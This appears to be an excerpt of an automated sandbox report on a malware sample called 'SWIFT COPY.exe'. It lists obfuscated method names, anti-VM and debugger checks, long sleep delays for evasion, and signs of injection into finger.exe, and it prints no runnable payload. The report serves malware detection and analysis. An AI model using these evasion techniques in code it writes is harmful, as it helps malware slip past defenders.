Source: 0.2.SWIFT COPY.exe.a090000.4.raw.unpack, ecxAhMXQK7U6ey0KYW.cs	High entropy of concatenated method names: 'xonVc0D3vd', 'ty7VfYSdDj', 'lJtVBqpYSw', 'qsqVDoaDnU', 'DPRVC4OCq3', 'yYYV3V19MG', 'X4iVSf0mpP', 'lb6VOog6NG', 'LSjVoGF7Cs', 'If4VgtB8Ep'
Source: 0.2.SWIFT COPY.exe.a090000.4.raw.unpack, RPQcBL0VyD2jnWdrsj.cs	High entropy of concatenated method names: 'HyLLWxyvFG', 'O8wLYSfcZy', 'vNpLFDjahn', 'eumLqCf8c8', 'lnlLV5eZdd', 'F4QLNwIKq8', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.SWIFT COPY.exe.a090000.4.raw.unpack, zGpwFgRlKTSAnOF1F7.cs	High entropy of concatenated method names: 'nrrGgxNtPE', 'QiNGwqOorF', 'S15GRSoZZo', 'TBwG57GFpc', 'iuXGfFAifO', 'ljmGBrPosU', 'LpKGDoAT2n', 'G0VGCYux8t', 'C3lG30Ld4Y', 'Ix3GSbDGdo'
Source: 0.2.SWIFT COPY.exe.a090000.4.raw.unpack, cIHBcuZsAj7mNaqAYt.cs	High entropy of concatenated method names: 'PEG9J385JR', 'nox9TJ8W5B', 'dE79cF2iZB', 'KTR9fOWpDi', 'EWk9DvmOi6', 'GHm9Ciuivl', 'aAC9SoMWfr', 'He99O1mww9', 'AYP9g4LUFI', 'TbA9uDTfGY'

Source: C:\Users\user\Desktop\SWIFT COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\finger.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\finger.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\finger.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\finger.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\finger.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: SWIFT COPY.exe PID: 7404, type: MEMORYSTR

Switches to a custom stack to bypass stack traces

Source: C:\Windows\SysWOW64\finger.exe	API/Special instruction interceptor: Address: 7FFE2220D324
Source: C:\Windows\SysWOW64\finger.exe	API/Special instruction interceptor: Address: 7FFE2220D7E4
Source: C:\Windows\SysWOW64\finger.exe	API/Special instruction interceptor: Address: 7FFE2220D944
Source: C:\Windows\SysWOW64\finger.exe	API/Special instruction interceptor: Address: 7FFE2220D504
Source: C:\Windows\SysWOW64\finger.exe	API/Special instruction interceptor: Address: 7FFE2220D544
Source: C:\Windows\SysWOW64\finger.exe	API/Special instruction interceptor: Address: 7FFE2220D1E4
Source: C:\Windows\SysWOW64\finger.exe	API/Special instruction interceptor: Address: 7FFE22210154
Source: C:\Windows\SysWOW64\finger.exe	API/Special instruction interceptor: Address: 7FFE2220DA44

Source: C:\Users\user\Desktop\SWIFT COPY.exe	Memory allocated: 2980000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Memory allocated: 2B70000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Memory allocated: 2980000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Memory allocated: 5170000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Memory allocated: 6170000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Memory allocated: 62A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Memory allocated: 72A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Memory allocated: B4B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Memory allocated: C4B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Memory allocated: C940000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Memory allocated: D940000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Memory allocated: EB40000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Memory allocated: FB40000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Memory allocated: 10B40000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\SWIFT COPY.exe

Code function: 3_2_0137096E rdtsc

3_2_0137096E

Source: C:\Users\user\Desktop\SWIFT COPY.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\SWIFT COPY.exe	API coverage: 0.7 %
Source: C:\Windows\SysWOW64\finger.exe	API coverage: 2.6 %

Source: C:\Users\user\Desktop\SWIFT COPY.exe TID: 7424	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\finger.exe TID: 8048	Thread sleep count: 37 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\finger.exe TID: 8048	Thread sleep time: -74000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\IRdZQSwOJAbvswfNOELjAqMfhfItSIUoCWqNZKUGIpPfXbRJEMvNbZIMm\XwGiOcrCkQ.exe TID: 8108	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\finger.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\finger.exe	Last function: Thread delayed

Source: C:\Windows\SysWOW64\finger.exe

Code function: 7_2_0288C7B0 FindFirstFileW,FindNextFileW,FindClose,

7_2_0288C7B0

Source: C:\Users\user\Desktop\SWIFT COPY.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: finger.exe, 00000007.00000002.3578499987.0000000002A0E000.00000004.00000020.00020000.00000000.sdmp, XwGiOcrCkQ.exe, 00000008.00000002.3579026296.000000000140F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: firefox.exe, 00000009.00000002.2525369322.000001872CEBD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllQQ

Source: C:\Users\user\Desktop\SWIFT COPY.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\SWIFT COPY.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\finger.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\SWIFT COPY.exe

Code function: 3_2_0137096E rdtsc

3_2_0137096E

Source: C:\Users\user\Desktop\SWIFT COPY.exe

Code function: 3_2_00417813 LdrLoadDll,

3_2_00417813

Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01360124 mov eax, dword ptr fs:[00000030h]	3_2_01360124
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01404164 mov eax, dword ptr fs:[00000030h]	3_2_01404164
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01404164 mov eax, dword ptr fs:[00000030h]	3_2_01404164
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013DA118 mov ecx, dword ptr fs:[00000030h]	3_2_013DA118
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013DA118 mov eax, dword ptr fs:[00000030h]	3_2_013DA118
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013DA118 mov eax, dword ptr fs:[00000030h]	3_2_013DA118
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013DA118 mov eax, dword ptr fs:[00000030h]	3_2_013DA118
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013F0115 mov eax, dword ptr fs:[00000030h]	3_2_013F0115
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013DE10E mov eax, dword ptr fs:[00000030h]	3_2_013DE10E
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013DE10E mov ecx, dword ptr fs:[00000030h]	3_2_013DE10E
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013DE10E mov eax, dword ptr fs:[00000030h]	3_2_013DE10E
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013DE10E mov eax, dword ptr fs:[00000030h]	3_2_013DE10E
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013DE10E mov ecx, dword ptr fs:[00000030h]	3_2_013DE10E
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013DE10E mov eax, dword ptr fs:[00000030h]	3_2_013DE10E
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013DE10E mov eax, dword ptr fs:[00000030h]	3_2_013DE10E
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013DE10E mov ecx, dword ptr fs:[00000030h]	3_2_013DE10E
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013DE10E mov eax, dword ptr fs:[00000030h]	3_2_013DE10E
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013DE10E mov ecx, dword ptr fs:[00000030h]	3_2_013DE10E
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0132C156 mov eax, dword ptr fs:[00000030h]	3_2_0132C156
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013C8158 mov eax, dword ptr fs:[00000030h]	3_2_013C8158
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01336154 mov eax, dword ptr fs:[00000030h]	3_2_01336154
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01336154 mov eax, dword ptr fs:[00000030h]	3_2_01336154
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013C4144 mov eax, dword ptr fs:[00000030h]	3_2_013C4144
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013C4144 mov eax, dword ptr fs:[00000030h]	3_2_013C4144
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013C4144 mov ecx, dword ptr fs:[00000030h]	3_2_013C4144
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013C4144 mov eax, dword ptr fs:[00000030h]	3_2_013C4144
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013C4144 mov eax, dword ptr fs:[00000030h]	3_2_013C4144
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013B019F mov eax, dword ptr fs:[00000030h]	3_2_013B019F
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013B019F mov eax, dword ptr fs:[00000030h]	3_2_013B019F
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013B019F mov eax, dword ptr fs:[00000030h]	3_2_013B019F
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013B019F mov eax, dword ptr fs:[00000030h]	3_2_013B019F
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0132A197 mov eax, dword ptr fs:[00000030h]	3_2_0132A197
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0132A197 mov eax, dword ptr fs:[00000030h]	3_2_0132A197
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0132A197 mov eax, dword ptr fs:[00000030h]	3_2_0132A197
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_014061E5 mov eax, dword ptr fs:[00000030h]	3_2_014061E5
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01370185 mov eax, dword ptr fs:[00000030h]	3_2_01370185
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013EC188 mov eax, dword ptr fs:[00000030h]	3_2_013EC188
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013EC188 mov eax, dword ptr fs:[00000030h]	3_2_013EC188
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013D4180 mov eax, dword ptr fs:[00000030h]	3_2_013D4180
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013D4180 mov eax, dword ptr fs:[00000030h]	3_2_013D4180
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013601F8 mov eax, dword ptr fs:[00000030h]	3_2_013601F8
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013AE1D0 mov eax, dword ptr fs:[00000030h]	3_2_013AE1D0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013AE1D0 mov eax, dword ptr fs:[00000030h]	3_2_013AE1D0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013AE1D0 mov ecx, dword ptr fs:[00000030h]	3_2_013AE1D0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013AE1D0 mov eax, dword ptr fs:[00000030h]	3_2_013AE1D0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013AE1D0 mov eax, dword ptr fs:[00000030h]	3_2_013AE1D0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013F61C3 mov eax, dword ptr fs:[00000030h]	3_2_013F61C3
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013F61C3 mov eax, dword ptr fs:[00000030h]	3_2_013F61C3
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013C6030 mov eax, dword ptr fs:[00000030h]	3_2_013C6030
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0132A020 mov eax, dword ptr fs:[00000030h]	3_2_0132A020
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0132C020 mov eax, dword ptr fs:[00000030h]	3_2_0132C020
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0134E016 mov eax, dword ptr fs:[00000030h]	3_2_0134E016
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0134E016 mov eax, dword ptr fs:[00000030h]	3_2_0134E016
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0134E016 mov eax, dword ptr fs:[00000030h]	3_2_0134E016
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0134E016 mov eax, dword ptr fs:[00000030h]	3_2_0134E016
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013B4000 mov ecx, dword ptr fs:[00000030h]	3_2_013B4000
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013D2000 mov eax, dword ptr fs:[00000030h]	3_2_013D2000
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013D2000 mov eax, dword ptr fs:[00000030h]	3_2_013D2000
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013D2000 mov eax, dword ptr fs:[00000030h]	3_2_013D2000
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013D2000 mov eax, dword ptr fs:[00000030h]	3_2_013D2000
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013D2000 mov eax, dword ptr fs:[00000030h]	3_2_013D2000
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013D2000 mov eax, dword ptr fs:[00000030h]	3_2_013D2000
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013D2000 mov eax, dword ptr fs:[00000030h]	3_2_013D2000
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013D2000 mov eax, dword ptr fs:[00000030h]	3_2_013D2000
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0135C073 mov eax, dword ptr fs:[00000030h]	3_2_0135C073
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01332050 mov eax, dword ptr fs:[00000030h]	3_2_01332050
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013B6050 mov eax, dword ptr fs:[00000030h]	3_2_013B6050
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013F60B8 mov eax, dword ptr fs:[00000030h]	3_2_013F60B8
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013F60B8 mov ecx, dword ptr fs:[00000030h]	3_2_013F60B8
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013280A0 mov eax, dword ptr fs:[00000030h]	3_2_013280A0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013C80A8 mov eax, dword ptr fs:[00000030h]	3_2_013C80A8
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0133208A mov eax, dword ptr fs:[00000030h]	3_2_0133208A
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0132C0F0 mov eax, dword ptr fs:[00000030h]	3_2_0132C0F0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013720F0 mov ecx, dword ptr fs:[00000030h]	3_2_013720F0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0132A0E3 mov ecx, dword ptr fs:[00000030h]	3_2_0132A0E3
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013380E9 mov eax, dword ptr fs:[00000030h]	3_2_013380E9
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013B60E0 mov eax, dword ptr fs:[00000030h]	3_2_013B60E0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013B20DE mov eax, dword ptr fs:[00000030h]	3_2_013B20DE
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0140634F mov eax, dword ptr fs:[00000030h]	3_2_0140634F
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0132C310 mov ecx, dword ptr fs:[00000030h]	3_2_0132C310
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01350310 mov ecx, dword ptr fs:[00000030h]	3_2_01350310
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0136A30B mov eax, dword ptr fs:[00000030h]	3_2_0136A30B
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0136A30B mov eax, dword ptr fs:[00000030h]	3_2_0136A30B
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0136A30B mov eax, dword ptr fs:[00000030h]	3_2_0136A30B
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013D437C mov eax, dword ptr fs:[00000030h]	3_2_013D437C
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01408324 mov eax, dword ptr fs:[00000030h]	3_2_01408324
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01408324 mov ecx, dword ptr fs:[00000030h]	3_2_01408324
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01408324 mov eax, dword ptr fs:[00000030h]	3_2_01408324
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01408324 mov eax, dword ptr fs:[00000030h]	3_2_01408324
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013B035C mov eax, dword ptr fs:[00000030h]	3_2_013B035C
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013B035C mov eax, dword ptr fs:[00000030h]	3_2_013B035C
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013B035C mov eax, dword ptr fs:[00000030h]	3_2_013B035C
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013B035C mov ecx, dword ptr fs:[00000030h]	3_2_013B035C
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013B035C mov eax, dword ptr fs:[00000030h]	3_2_013B035C
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013B035C mov eax, dword ptr fs:[00000030h]	3_2_013B035C
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013FA352 mov eax, dword ptr fs:[00000030h]	3_2_013FA352
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013D8350 mov ecx, dword ptr fs:[00000030h]	3_2_013D8350
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013B2349 mov eax, dword ptr fs:[00000030h]	3_2_013B2349
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013B2349 mov eax, dword ptr fs:[00000030h]	3_2_013B2349
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013B2349 mov eax, dword ptr fs:[00000030h]	3_2_013B2349
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013B2349 mov eax, dword ptr fs:[00000030h]	3_2_013B2349
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013B2349 mov eax, dword ptr fs:[00000030h]	3_2_013B2349
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013B2349 mov eax, dword ptr fs:[00000030h]	3_2_013B2349
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013B2349 mov eax, dword ptr fs:[00000030h]	3_2_013B2349
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013B2349 mov eax, dword ptr fs:[00000030h]	3_2_013B2349
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013B2349 mov eax, dword ptr fs:[00000030h]	3_2_013B2349
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013B2349 mov eax, dword ptr fs:[00000030h]	3_2_013B2349
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013B2349 mov eax, dword ptr fs:[00000030h]	3_2_013B2349
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013B2349 mov eax, dword ptr fs:[00000030h]	3_2_013B2349
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013B2349 mov eax, dword ptr fs:[00000030h]	3_2_013B2349
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013B2349 mov eax, dword ptr fs:[00000030h]	3_2_013B2349
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013B2349 mov eax, dword ptr fs:[00000030h]	3_2_013B2349
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01328397 mov eax, dword ptr fs:[00000030h]	3_2_01328397
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01328397 mov eax, dword ptr fs:[00000030h]	3_2_01328397
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01328397 mov eax, dword ptr fs:[00000030h]	3_2_01328397
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0132E388 mov eax, dword ptr fs:[00000030h]	3_2_0132E388
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0132E388 mov eax, dword ptr fs:[00000030h]	3_2_0132E388
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0132E388 mov eax, dword ptr fs:[00000030h]	3_2_0132E388
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0135438F mov eax, dword ptr fs:[00000030h]	3_2_0135438F
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0135438F mov eax, dword ptr fs:[00000030h]	3_2_0135438F
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0134E3F0 mov eax, dword ptr fs:[00000030h]	3_2_0134E3F0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0134E3F0 mov eax, dword ptr fs:[00000030h]	3_2_0134E3F0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0134E3F0 mov eax, dword ptr fs:[00000030h]	3_2_0134E3F0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013663FF mov eax, dword ptr fs:[00000030h]	3_2_013663FF
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013403E9 mov eax, dword ptr fs:[00000030h]	3_2_013403E9
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013403E9 mov eax, dword ptr fs:[00000030h]	3_2_013403E9
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013403E9 mov eax, dword ptr fs:[00000030h]	3_2_013403E9
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013403E9 mov eax, dword ptr fs:[00000030h]	3_2_013403E9
